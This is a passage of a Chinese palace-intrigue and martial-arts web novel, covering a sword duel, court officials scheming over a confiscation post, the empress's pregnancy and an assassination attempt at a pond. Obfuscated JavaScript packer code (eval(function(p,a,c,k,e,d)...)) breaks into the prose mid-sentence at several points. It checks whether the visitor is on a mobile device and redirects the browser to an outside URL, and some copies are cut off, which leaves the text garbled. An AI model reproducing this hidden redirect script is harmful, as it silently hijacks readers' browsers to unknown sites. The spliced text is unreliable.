“武勇是也!”武勇的声音不大,却震得茶楼的窗户微微颤动。 “原来是左手刀武勇,失敬!”赵马玄连忙抱拳,眼中闪过一丝敬意。 钱欢听到这个名号,不禁冷汗直流。早知道武勇是这等高手,他哪敢之前那般放肆?现在想来,简直是在鬼门关前走了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第七十四章 武勇的小师妹 赵马玄正了正衣襟,“今日刚从家中出来,正愁无处消遣。既然钱兄盛情相邀,那就恭敬不如从命了。” 柳富金捋了捋胡须,笑道:“难得有这样的机会,老夫自然要凑个热闹。” 武勇看了眼钱欢,见他确实诚心认错,也不好再追究,便点头道:“既然如此,那就一同前去吧。” 众人来到大周最负盛名的醉仙楼,掌柜亲自带着几人来到三楼雅间。这里装饰考究,檀木桌椅上雕刻着精美的花纹,窗外便是繁华的街市,远处还能看到皇宫的轮廓。 酒菜很快上桌,觥筹交错间,气氛渐渐热络起来。钱欢不时给秦烨和武勇敬酒,态度恭敬,哪还有半分之前的傲慢。 柳霜华坐在一旁,美目时不时地瞟向秦烨。这个年轻人举手投足间透露出的从容气度,与他展现出的实力相得益彰,让人不由自主地想要亲近。 酒过三巡,赵马玄放下酒杯,目光灼灼地看向武勇:“武兄的左手刀法名震江湖,不知可否切磋一二?老夫也想见识见识。” 武勇微微一笑:“我刀法不错,但内力不佳,这比试怕是要让赵兄失望了。” “只比刀法,不比内力如何?”赵马玄眼中闪过一丝期待。 “既然赵兄有此雅兴,在下自当奉陪。” 众人随即来到后院。院中空地宽敞,四周种着几株古树,枝叶婆娑,为这个炎热的午后带来一丝凉意。 赵马玄和武勇分立两端,目光交汇的瞬间,气氛骤然紧张起来。只见刀光剑影交织,两道身影在院中来回穿梭。赵马玄的刀法大开大合,气势如虹;武勇则是以快打快,刀锋所向,寒光凛冽。 柳富金等人看得目瞪口呆,还是第一次见到如此精妙的武学。就连一向见多识广的钱有德,此时也不由得屏住了呼吸。 比试结束,二人相视一笑,皆是心悦诚服。赵马玄拱手道:“朱兄的刀法果然名不虚传,老夫自愧不如。” 武勇连忙还礼:“赵兄过谦了,您的刀法气势磅礴,在下受益匪浅。” 酒宴散去时,柳霜华的目光始终追随着秦烨的背影。这样一个既有实力又有胆识的男子,任何女子怕是都难以抵挡其魅力。她不由得想起方才席间,秦烨谈吐不凡,举止优雅,与那些趾高气扬的浪荡公子完全不同。 马车上,武勇看向秦烨,有些犹豫:“恩公,听赵兄说紫电剑在您手中?” “对,不过……”秦烨突然一拍大腿,懊恼道,“糟了,剑还在之前的马车上!” 二人匆忙赶到马车处,车夫见到秦烨,立刻跪地行礼,额头上渗出细密的汗珠:“公子恕罪,小的有眼无珠……” “起来吧,”秦烨摆摆手,“我的剑可还在车上?” “回公子的话,马车无人动过。”车夫连忙答道。 秦烨上车取出剑匣,打开后,紫电剑的寒芒顿时闪耀而出,在昏暗的车厢内格外醒目。他将剑匣递给武勇:“你看看。” 武勇接过剑匣,看着那熟悉的紫电剑,眼中闪过一丝悲伤。师父的佩剑在此,想必他已经遭遇不测。他的手指轻轻抚过剑身,仿佛能感受到师父当年持剑时的温度。 “可看出什么门道?”秦烨问道。 武勇收起思绪,摇头道:“实不相瞒,对这紫电剑,我所知有限。真正了解此剑的,就是我那师妹。只可惜她现在不在汴城。” “你那小师妹?”秦烨来了兴趣,“听你这么说,她很了解这把剑?” “说起小师妹,那还是十年前的事了。”武勇有些怀念的说道,“那时她还是个不谙世事的丫头,初入江湖就闯下大祸。” 秦烨来了兴趣,在一旁的石凳上坐下:“哦?什么大祸?” “她看中了师父的紫电剑。”武勇摇头苦笑,“那丫头性子倔强,竟然趁师父不备,强行夺剑。” 秦烨眉头微挑:“这么大胆?” “何止是大胆。”武勇叹了口气,“那一战,师父本可取她性命。但见她年纪尚小,根骨不错,便留了她一命。” 微风拂过,带来几片落叶。武勇望着飘落的树叶,继续说道:“谁知这丫头不知悔改,反而缠着师父要拜师。整日跟在后头,又是磕头又是下跪,闹得师父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481751|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不胜其烦。” “最后呢?” “还能怎样?”武勇无奈地耸耸肩,“师父被她磨得没办法,只得收她为徒。说来也怪,这丫头一入门就跟变了个人似的,勤学苦练,天赋惊人。” 秦烨听得入神,不禁问道:“那紫电剑呢?” “小师妹在师父身边混了不少日子,对这紫电剑爱不释手。”武勇的语气中带着几分宠溺,“每次练功完,她都要缠着师父讨要把玩。久而久之,论对紫电剑的了解,她竟比我还要深。” 秦烨闻言,将手中剑匣递给武勇:“既如此,这剑你先拿着,等你师妹来了再让她看看。” 武勇接过剑匣,小心翼翼地打开看了一眼,又迅速合上。 “你那小师妹实力如何?”秦烨突然问道。 武勇沉吟片刻:“若论江湖排名,应在兵器录前二十左右。” “不在榜上?”秦烨有些诧异。 “哥哥你有所不知。”武勇解释道,“兵器录上的,不过是些现世高手。真正的隐世强者,那些深藏不露的世家门派中人,从不轻易现身。” 说到这里,武勇的眼中闪过一丝敬畏:“我那师父,想必就是这样的存在。” 秦烨若有所思地点点头。 两人说话间,不知不觉已走到皇城附近。街道上行人渐少,远处的宫墙在夕阳下显得格外雄伟。 “就送到这里吧。”秦烨拱手道。 “恩公慢走。”武勇还礼。 目送武勇离开,秦烨转身步入皇城。宫道上的侍卫见到他,纷纷行礼。他径直走向承明殿,脚步声在空旷的宫道上回响。 推开殿门,只见上官瑾正坐在龙座上批阅奏章。烛光映照下,她的侧脸显得格外清冷。 她瞥了秦烨一眼,却并未开口。 秦烨也不急,站在一旁静静等候。大殿内只有翻动奏章的沙沙声,以及偶尔传来的批阅声。 良久,他才开口问道:“不知端木正一案,情况如何了?” “证据已经搜集齐全。”上官瑾头也不抬地说道,声音带着疲惫。 第七十五章 想亲自抄家 秦烨看着上官瑾略显憔悴的面容,心中一动。这些日子,她为了处理端木正一案,想必没少操心。 秦烨沉默片刻,开口道:“既然……” “既然如何?”上官瑾突然问道。 “不知陛下打算如何处置?”秦烨笑着反问。 “人都跑了,只能处置同党,抄了他的家产。”上官瑾放下手中的朱笔,淡淡道,“你想说什么?” “陛下就非要我说出来?” “你不说,我怎会知道?”上官瑾的声音中带着不耐。 秦烨无奈,只得直言:“我想亲自抄他的家。既能顺藤摸瓜,二来也能借机清理朝中不臣之人。” “抄家是肥差,朕为何要交给你?”上官瑾冷笑。 “不给我,还能给谁?”秦烨直视着她。 话一出口,秦烨就觉得多此一举。除了他,上官瑾还能信任谁?这些日子以来,朝中大小事务,哪一件不是他在替她分忧? “既然陛下另有人选,那我告退。”秦烨转身欲走。 “站住!”上官瑾咬牙,“这事就交给你了。明日早朝后,朕定会赐你圣旨。” “臣领旨。”秦烨拱手一笑。 上官瑾扭过头去,显然还在生气。烛光映照下,她的侧脸带着几分倔强。 秦烨暗自摇头,心想这冷战闹得实在无趣。他们又不是寻常男女,何必如此?更何况,还有正事要办。 可看着上官瑾的模样,秦烨又不知该如何开口。这位女帝的性子,他是再清楚不过了。倔强起来,九头牛都拉不回。 沉默在大殿中蔓延。 窗外的月光洒进来,在地上投下斑驳的影子。殿内的烛火摇曳,将两人的身影拉得很长。 秦烨望着那道影子,忽然觉得有些好笑。堂堂九五之尊,居然也会和他玩这种小女儿姿态。 不过想想也是,上官瑾虽贵为天子,可到底也是个女子。这般任性,倒也情有可原。 “若无其他吩咐,臣告退。”秦烨再次拱手。 上官瑾依旧不理他,只是低头继续批阅奏章。 走出承明殿,秦烨抬头望着天空中的明月,心中思绪万千。端木正一案牵连甚广,明日的抄家行动恐怕不会太平。 秦烨整了整衣衫,大步向自己的府邸走去。 夜色如墨,司马辉的书房内灯火通明。 案几上堆满了各式公文,他一封一封地翻看着,眉头渐渐皱起。纸张翻动的沙沙声在静谧的夜里格外清晰,烛光在他脸上投下明暗不定的阴影。 “这份奏折说得倒是有趣。”司马辉冷笑一声,将手中的纸张放在一旁,“端木正这一失踪,倒是让朝堂上热闹起来了。” 老赵站在一旁,为他添了杯茶,茶水的清香在空气中缓缓散开:“大人,这也是意料之中的事。端木正身为禁军总戎,一朝倒台,自然会引起轩然大波。” “说的是。”司马辉端起茶杯,轻轻抿了一口,茶水的温度正好,“不过这事情没那么简单。你看看这些奏折,一个个都在争着要去抄端木府。” “大人的意思是?”老赵的目光落在那堆奏折上。 司马辉放下茶杯,指节轻叩案几:“端木正这些年在禁军积累的势力不小,与他有牵连的官员更是不计其数。现在他突然失踪,那些与他有关系的人,怕是一个个都坐不住了。” “这些人争着要去抄家,表面上看是为了抄家时的油水,实则是为了销毁证据。”司马辉的声音带着几分讥讽,“生怕端木正留下什么把柄。” 老赵不由感叹:“这端木正一倒,怕是要牵出不少人啊。” “陛下这一手,可谓是打得好算盘。”司马辉站起身,负手踱步,烛光随着他的动作在墙上投下摇曳的影子,“借着抄家的机会,看看到底有多少人坐不住。” 就在此时,外面传来急促的脚步声,打破了书房内的宁静。 一个家仆快步走进来,脸上带着几分急色:“老爷,刚收到消息,工部尚书张马临派人去打探端木府的情况,但被禁军挡在外面。” “张马临?”司马辉眯起眼睛,眼中闪过一丝玩味,“看来他也坐不住了。这位工部尚书,怕是与端木正有不少见不得人的勾当。” “不止是张马临。”家仆继续道,“刑部侍郎周凝谦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481752|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、工部郎中孔怀信,都派人去过端木府。” 司马辉轻笑一声:“这些人,一个个都等不及了。” “老爷,要不要……”家仆欲言又止。 “继续盯着,有什么动静随时报来。”司马辉挥挥手。 家仆领命退下,脚步声渐渐远去。 “老爷,您说陛下会让谁去抄家?”老赵问道。 “这个嘛……”司马辉望着窗外的夜色,“陛下心中必然早有人选。不过在此之前,怕是还要让这些人再闹腾一阵。” 与此同时,张马临的府邸内。 “怎么样?”张马临焦躁地在书房内来回踱步,脸上的汗珠在烛光下闪着微光。 “回大人,端木府四周都是禁军把守,一只苍蝇都飞不进去。”管家擦着额头的冷汗,“小的托了关系,送了银子,可那些禁军就是不为所动。” “该死!”张马临一掌拍在案几上,茶杯被震得跳了一下,“这些禁军平日里见钱眼开,今日怎么如此硬气?” “大人,听说是陛下亲自下的命令,谁敢违抗?”管家小心翼翼地说道。 张马临重重地叹了口气,在书房里来回踱步。 “大人,要不要再想别的办法?”管家试探着问道。 “别的办法?”张马临苦笑一声,“现在端木府被封,端木正下落不明,我们能有什么办法?” 他走到书案前,颓然坐下,“只怕端木正这次是凶多吉少了。” “那……那咱们该怎么办?”管家的声音带着几分颤抖。 “能怎么办?”张马临的声音有些发颤,“就怕端木正留下了什么东西。若是被人找到……” 他没有说完,但管家已经明白了他的意思。这些年来,张马临与端木正之间的勾当不少。若是这些证据被找出来,那他这个工部尚书的位置怕是也保不住了。 “大人,要不要去找些关系,争取一下抄家的差事?”管家试探着问道。 张马临摇摇头:“现在朝中不知道有多少人盯着这个差事。况且……”他停顿了一下,“陛下这次是有备而来,抄家的人选,恐怕早就定好了。” 第七十六章 全都坐不住 就在此时,外面传来急促的脚步声。 “大人!”一个家仆匆匆跑进来,“刚刚得到消息,刑部侍郎周凝谦也派人去了端木府!” 张马临的脸色更加难看:“看来不止我一个人坐不住啊。” “大人,周凝谦不是一向与您交好吗?要不要……” “住口!”张马临厉声打断了管家的话,“现在这种时候,谁还顾得上交情?” 管家缩了缩脖子,不敢再说话。 “端木正啊端木正,”张马临低声呢喃,“你到底去了哪里?” 书桌上摊开着一份密报,上面详细记载了端木正畏罪潜逃前的种种异常举动。其中提到端木正曾深夜秘密会见过几位朝中大员,这让张马临心中的不安更加强烈。 “那些文书……”他的手指无意识地敲击着窗棱,【端木正手中是否真的掌握着我这些年来的把柄?】 门外传来轻微的脚步声,打断了他的思绪。 “大人。”老仆恭敬地站在门口,“刚收到消息,民部韩大人已经开始联络各部要员了。” 张马临转过身,烛光映照下的脸庞显得格外深沉。“韩明远这个老狐狸,果然坐不住了。”他冷笑一声,“工部那边呢?” “孔云章大人……似乎也有意争取抄家主事一职。”老仆小心翼翼地回答。 “哼!”张马临重重地哼了一声,大步走到书桌前坐下。他提笔蘸墨,在纸上快速写下几个名字,“去,把我的话传给这几位大人-只要他们愿意放弃抄家主事之职,我张马临必有重谢。” “老爷,这……”老仆面露迟疑。 “去办!”张马临厉声打断,“不惜代价,这个位置我志在必得!” 老仆连忙应声退下,脚步声渐渐远去。 与此同时,民部衙门。 韩明远正在灯下翻看着官员任免文书,他的目光在秦烨的名字上停留了片刻,嘴角勾起一抹意味深长的笑意。 “大人,”一名心腹幕僚轻声道,“工部那边已经开始行动了。张马临派人拜访了几位要员,似乎是想用重金收买。” 韩明远放下手中的文书,眼中闪过一丝寒芒。“呵,这位张尚书倒是够急的。”他冷笑道,“看来是真的害怕了。” “那我们……” “不急。”韩明远站起身,负手而立,“让他先着急。本官倒要看看,他能使出什么花样来。” “大人高明。”幕僚恭维道。 韩明远走到窗前,望着外面的夜色。“去,把李大人请来,我有话要说。” 幕僚领命而去。 不多时,一个身着便服的中年文士悄然而至。正是民部郎中李景元。 “大人深夜召见,可是有要事?”李景元拱手问道。 韩明远没有立即回答,而是走到书案前,取出一份文书递给李景元。“你看看这个。” 李景元接过文书,仔细阅读起来。片刻后,他的脸色变得凝重起来。“这是……” “不错,这是端木正案的部分证据。”韩明远淡淡地说,“你觉得,张马临为什么这么急着要抄家主事的位置?” 李景元眼中精光一闪。“莫非……” “正是。”韩明远意味深长地说,“这些年来,张马临在工部可没少做手脚。端木正手中,很可能掌握着他的把柄。” “所以他才……” “他想亲自主持抄家,好第一时间销毁对他不利的证据。”韩明远冷笑道,“可惜,这次他怕是要失算了。” 与此同时,工部衙门。 孔云章正在欣赏一幅新得的山水画,忽然听到外面传来脚步声。 “老爷,张府来人求见。” 孔云章放下手中的画轴,眼中闪过一丝玩味。“让他进来。” 张府的仆人进来后,恭敬地行礼。“孔大人,我家老爷说,只要您不争抄家主事一职,一切条件都好商量。往后工部的拨款也绝不会有任何阻碍。” 孔云章眯起眼睛,手指轻轻敲击着桌面。“你且回去告诉你家老爷,此事容我考虑考虑。” 待仆人退下,孔云章冷笑连连。这么多年被张马临压制的憋屈,今日总算能找补回来了。 “来人!” “大人。” “去,把消息放出去,就说本官对抄家主事一职也很感兴趣。”孔云章眼中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这张马临,终究还是低头了。不过是一场工部营造的小事,却让他得到了这幅心心念念的真迹,这买卖,着实划算。想到这里,他的嘴角不自觉地上扬。 第七十七章 皇后确诊有喜 “大人!”急促的脚步声打破了书房的宁静。一名心腹快步走进,脸上带着掩饰不住的兴奋,“外面有消息传来,皇后娘娘有喜了!” 孔云章原本悠闲的神色瞬间凝固:“确切消息?” “千真万确。”那人压低声音,“御医署已经诊断过,皇后确实有了身孕。据说已有两个多月了。” 孔云章的手指无意识地敲击着窗框,眉头紧蹙。皇后有孕,这可不是什么小事。一旦生下皇子,司马家的地位必将水涨船高。原本平衡的朝堂局势,怕是要彻底改写了。 “大人,宫里已经炸开锅了。”又一名下属匆匆赶来,“各位娘娘都去皇后宫中道贺,场面好不热闹。” “热闹?”孔云章冷笑一声,转身在太师椅上坐下,“这些人心里怕是比醋坛子还酸。不过是逢场作戏罢了。” 宫中此刻确实热闹非凡。司马玉华的寝宫内,莺莺燕燕围作一团。檀香袅袅,茶香四溢。 “恭喜皇后娘娘。”陈雅韵屈膝行礼,脸上带着得体的笑容,眼底却暗藏嫉妒,“这可是天大的喜事。” 司马玉华端坐在雕花楠木椅上,身着一袭淡青色宫装,嘴角挂着若有若无的笑意:“诸位妹妹不必多礼。这宫中姐妹一场,都是一家人。” 她的目光扫过众人的面庞,心中暗自盘算。表面上其乐融融,可谁都知道,这后宫之中暗流涌动。每个人都在打量着她微微隆起的小腹,眼中或羡慕或嫉妒,或是藏着深不可测的心思。 “皇后娘娘说得对。”贵妃周婉清笑吟吟地开口,“我们都该为皇室开枝散叶才是。” “是啊是啊。”众人纷纷附和,声音甜得发腻。 司马玉华轻抚腹部,面上依旧带着温和的笑容,心中却暗自警惕。后宫之中,最是险恶。即便自己已经有孕在身,也不能掉以轻心。稍有不慎,就可能万劫不复。 她不由想起了秦烨。若非他一直在暗中照拂,自己也不会有今日这般境遇。这个看似普通的太监,手中却握着莫大的权柄。 “娘娘,该用午膳了。”贴身宫女飞雪轻声提醒,“太医说过,娘娘现在要按时用膳。” 司马玉华微微颔首:“诸位妹妹也该回去歇息了。” 众妃嫔告退,三三两两离开。走出宫门,脸上的笑容顿时收敛。华丽的宫装下,是藏不住的心思。 “这司马玉华,不过是运气好些罢了。”一位妃子低声嘀咕。 “可不是么,还不是因为有秦烨照应。”另一人接话,语气中带着酸意。 “说起来,这秦烨虽是太监,可手中却握着侍寝的大权……” 几位妃子对视一眼,都明白了对方的心思。宫墙内的风,永远吹不散这些心思。 与此同时,御医署内。 赵马康坐在雕花檀木案前,眉头紧锁。皇后有孕的消息,对他而言无异于晴天霹零。 多年布局,就是为了离间君臣,削弱皇权。可如今司马家即将与皇室血脉相连,这一切努力岂不是付诸东流?案几上的茶水已经凉透,他却浑然不觉。 “来人!”他突然开口,语气焦躁。 “大人。”一名心腹立刻上前。 “去查,查清楚皇后怀孕的具体时日。”赵马康的手指在案几上轻轻敲击,“另外,派人盯着御医署,一有风吹草动,立刻禀报。” “是!” 待下属退下,赵马康站起身,走到窗前。眸光阴沉得仿佛能滴出水来。窗外的阳光明媚,却照不进他的心里半分。 他紧握的拳头微微颤抖,指甲深深陷入掌心,却浑然不觉疼痛。书房内一片寂静,只有他粗重的呼吸声在回荡。 “秦烨……秦烨!”他咬牙切齿地低吼,声音里充满了压抑的怒火。 这个名字如同一根刺,深深扎在他的心头。每每想起,都让他怒火中烧,恨不得将其**万段。 若不是这个该死的秦烨,他们筹谋多年的计划怎会功亏一篑?多年的心血,就这样付诸东流了。 赵马康转身在书房内来回踱步,脚步声沉重而急促。脑海中不断回放着这段时间发生的一切,每一幕都让他心如刀绞。 秦烨治好了上官瑾的隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一路上,上官瑾都在思考该如何说服司马玉华。宫道两旁的宫女太监纷纷跪地行礼,却没人敢抬头看她一眼。 直接下手除掉胎儿是不可能的。司马家势大,宫中防护又如此严密。况且,这样做的后果她承担不起。 【唯一的办法,就是说服司马玉华主动放弃这个孩子。可这谈何容易?】每想到这里,她就觉得头疼欲裂。 【哪个母亲愿意放弃自己的骨肉?更何况这还是一个能够改变她命运的孩子。】 到了长春宫外,上官瑾看着来来往往的宫女太监,眉头微皱。宫中的气氛明显不同往常,处处透着喜气洋洋。 司马辉早已在长春宫外布下重重暗哨,每一个角落都安排了精锐的暗卫。他们身着便装,与普通宫人无异,却都是从虎卫中精挑细选出来的好手。这些人轮番值守,日夜不停,为的就是确保司马玉华母子的安全。 上官瑾站在宫门外,看着来往的宫人,眉头微皱。她的目光落在那些看似普通的宫人身上,嘴角勾起一抹若有似无的笑意。司马辉的布置虽然隐蔽,但还是逃不过她的眼睛。 【一个未出世的胎儿,竟已引得朝野如此关注。若是真的生下来,怕是要掀起惊天波澜。】想到这里,她的眼中闪过一丝复杂的情绪。 宫门两侧的侍卫见到她,立刻躬身行礼。上官瑾微微颔首,迈步走进长春宫。 殿内檀香袅袅,几个宫女正在收拾药炉。司马玉华靠在软榻上,听到脚步声,缓缓睁开眼睛。 “臣妾不知陛下驾到,有失远迎,还请陛下恕罪。”她撑着身子想要起身,脸上带着几分倦意。 “爱妃不必多礼。”上官瑾快步上前扶住她,感受到她手臂的微微颤抖,“你如今有了身孕,不必行这些繁文缛节,当心动了胎气。” 司马玉华抚着微微隆起的小腹,脸上露出甜蜜的笑容:“多谢陛下关心,臣妾知道轻重。倒是陛下,还请以江山社稷为重。” 上官瑾在她身边坐下,目光不经意间扫过殿内。几个宫女正在收拾药材,浓郁的药香飘散在空气中。她皱了皱眉,问道:“为何要在宫中煎药?御医署难道不能直接送来?” “陛下……”司马玉华眼中闪过一丝忧虑,声音轻柔却带着坚定,“臣妾腹中怀的是大周龙种,这些日子战战兢兢,唯有亲眼看着煎药,才能真正放心。” 上官瑾默然。她仔细打量着司马玉华,发现今日的她与往日大不相同。不仅气质柔和了许多,更是素面朝天,不施粉黛。往日那个爱美如命的司马玉华仿佛已经消失不见,取而代之的是一个温婉贤淑的准母亲。 “爱妃今日怎么不施粉黛?”她轻声问道,语气中带着几分试探。 “回陛下,臣妾最近研读养胎之书,说是脂粉对胎儿不好,便都不用了。”司马玉华轻声答道,眼中流露出疼惜之情,“这孩子来之不易,臣妾不敢有丝毫懈怠。” 上官瑾心中一震。她原本打算劝司马玉华放弃这个孩子,可看到对方为了腹中胎儿如此用心,心中不禁动摇。 “娘娘,药煎好了。”雨竹的声音从外面传来,打断了她的思绪。 “送进来吧。” 秦烨和雨竹捧着药碗走进来,药汁漆黑,散发着浓郁的苦味。司马玉华接过药碗,强忍着苦涩一口一口喝下。她的眉头微皱,却没有丝毫抱怨。 上官瑾看在眼里,心中五味杂陈。她想起自己小时候生病喝药时的痛苦。如今司马玉华为了这个孩子,每日都要喝这样的苦药。 【一个母亲为了孩子可以付出这么多,我却要她放弃……这样做是不是太残忍了?可事关大周江山,我又不得不这么做。】这种矛盾在她心中不断撕扯,让她感到前所未有的煎熬。 “爱妃,药喝完了吧?不如陪朕去映月池走走如何?”上官瑾轻声问道,想要暂时逃避这个困扰她的问题。 司马玉华放下药碗,擦了擦嘴角:“臣妾遵旨。” 两人并肩走出长春宫,向映月池走去。初春的阳光暖暖地洒在身上,远处的垂柳随风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦烨站在不远处,默默注视着这一幕。作为御医署院判,他能清晰地感受到上官瑾内心的挣扎。月光下,皇帝的面容显得格外清冷,眉宇间似有化不开的愁绪。 木质栈道蜿蜒向前,延伸至湖心小岛,宛如一条玉带横亘水面。两侧的芦苇随风摇曳,发出沙沙的轻响。零星的萤火虫在草丛间忽明忽暗,为这静谧的夜色增添了几分生机。 “你们退后些。”上官瑾突然开口,对着身后的宫人挥了挥手。她的声音有些沙哑,似乎在极力压抑着什么。 秦烨微微皱眉,但还是带着众人后退了几步。他知道,有些事情必须由上官瑾自己做出选择。然而,一种莫名的不安在他心头升起。 栈道上,司马玉华依旧挽着上官瑾的手臂,脸上带着甜蜜的笑容。自从有了身孕,她很少能有这样亲近帝王的机会。月光下,她的面容显得格外柔美,眼中闪烁着幸福的光芒。 “陛下……”司马玉华轻声唤道,语气中带着撒娇的意味。 上官瑾欲言又止,目光不时扫向四周。夜风吹起她的衣袍,带来一阵若有若无的寒意。 就在这时,秦烨敏锐地察觉到不对劲。水面下似乎有什么东西在移动,荷叶轻微的晃动不像是风造成的。他的瞳孔猛地收缩,心跳陡然加快。 “小心!”他刚要出声提醒。 两道寒光已经破水而出!银针在月光下闪烁着森冷的光芒,直奔上官瑾而去。 司马玉华反应极快,一把推开上官瑾。两根钢针瞬间没入她的肩膀,发出轻微的“噗嗤”声。她的脸色瞬间变得苍白,身体摇晃起来。 “皇后!”秦烨大喊一声,纵身跃出。 司马玉华摇晃着向后倒去,上官瑾下意识去拉她,却被带得一起跌入水中。水花四溅,打破了夜的宁静。 秦烨一个猛子扎进荷塘,冰冷的水瞬间包裹了他的全身。水下视线模糊,但他还是一眼就看到了下沉的司马玉华。她的衣裙在水中舒展开来,如同一朵绽放的花。 他游到司马玉华身边,一把搂住她的腰,猛地蹬腿向上。水流从他们身边呼啸而过,带着刺骨的寒意。 “快!救人!”岸上传来此起彼伏的喊声。火把的光芒照亮了夜空,将整个映月池映照得通明。 禁军已经赶到,举着火把在四周搜寻刺客的踪迹。他们的脚步声急促而杂乱,喊声此起彼伏。 秦烨抱着司马玉华冲出水面,迅速游向栈道。他能感觉到怀中人的体温在迅速流失,心跳也变得微弱起来。 “立刻回长春宫!”他大声下令,声音中带着不容置疑的威严。 长春宫内,烛火摇曳,映照着众人紧张的面容。秦烨神色凝重地为司马玉华施针。钢针上淬了剧毒,必须尽快化解。他的额头上渗出细密的汗珠,每一个动作都小心翼翼。 他先用嘴吸出伤口的毒血,一口接一口地吐在旁边的瓷盘中。暗红的血液中带着淡淡的腥味,让人心悸。 上官瑾站在一旁,看着昏迷中的司马玉华,眼中闪过愧疚。她的手指紧紧攥着衣袖,指节发白。 “秦……秦神医……”司马玉华微弱的声音响起,像是耗尽了全身的力气,“孩子……孩子没事吧?” 秦烨微微一顿。此时他只能专注于救人,至于腹中胎儿,已经没空管了。毒素的扩散速度太快,稍有不慎就会危及性命。 “别说话,静心养神。娘娘放心,有我在。”秦烨轻声安慰道,手指搭在司马玉华的脉搏上,感受着那微弱却平稳的脉象。 司马玉华苍白的脸上浮现出一丝欣慰的笑容,眼皮微微颤动,随即便沉沉睡去。她的呼吸变得平缓,但面色依旧透着不正常的潮红。 “娘娘!”雨竹扑在床边,泪水打湿了锦被的一角。她的肩膀不住颤抖,指节因紧握床单而发白。 秦烨看着雨竹这般模样,心中也是一阵酸楚。他轻轻拍了拍雨竹的肩膀,柔声道:“雨竹姑娘莫要太过伤心,娘娘只是暂时昏睡,性命无忧。” 雨竹抬起头,泪眼婆娑地望着秦烨:“秦公公,真的吗?” “自然。”秦烨点头,随即转身在桌案前写下一张药方,“去准备这些药材,记住,不要从御医署取药。” 雨竹连忙擦干眼泪, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481756|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接过药方快步离去,脚步声渐渐消失在回廊尽头。 秦烨望着床榻上昏迷的司马玉华,眉头紧锁。今日之事来得蹊跷,那暗器中的毒性极为霸道,若非他及时施救,后果不堪设想。回想起刚才的情形,秦烨的心还在微微发颤。 雨竹很快取来药材,秦烨立即开始施救。他先是取出银针,在司马玉华的几处大穴位上快速施针,随后又开始熬制解毒汤药。 “雨竹,你在此守着娘娘。若有异常,立即唤我。”处理完毕后,秦烨叮嘱道。 “是,公公放心。”雨竹红着眼应道,守在床边寸步不离。 秦烨转身离开寝宫,面色阴沉。今日之事绝非偶然,不仅是对司马玉华下手,更是冲着陛下来的。那两支暗器的轨迹,他看得一清二楚——若非司马玉华挡在前面,恐怕此刻躺在床上的就是女帝了。 承明殿内,上官瑾正在发怒。 “给朕彻查!”她重重拍着龙座扶手,眼中怒火燃烧,“不管是谁,胆敢行刺朕与皇后,定要将其挖出来!” 影卫统领跪在地上,额头冒着冷汗:“陛下息怒,属下定会倾尽全力,查出凶手!” “去吧。”上官瑾挥了挥手,整个皇宫立即陷入一片紧张氛围中。 与此同时,司马府内。 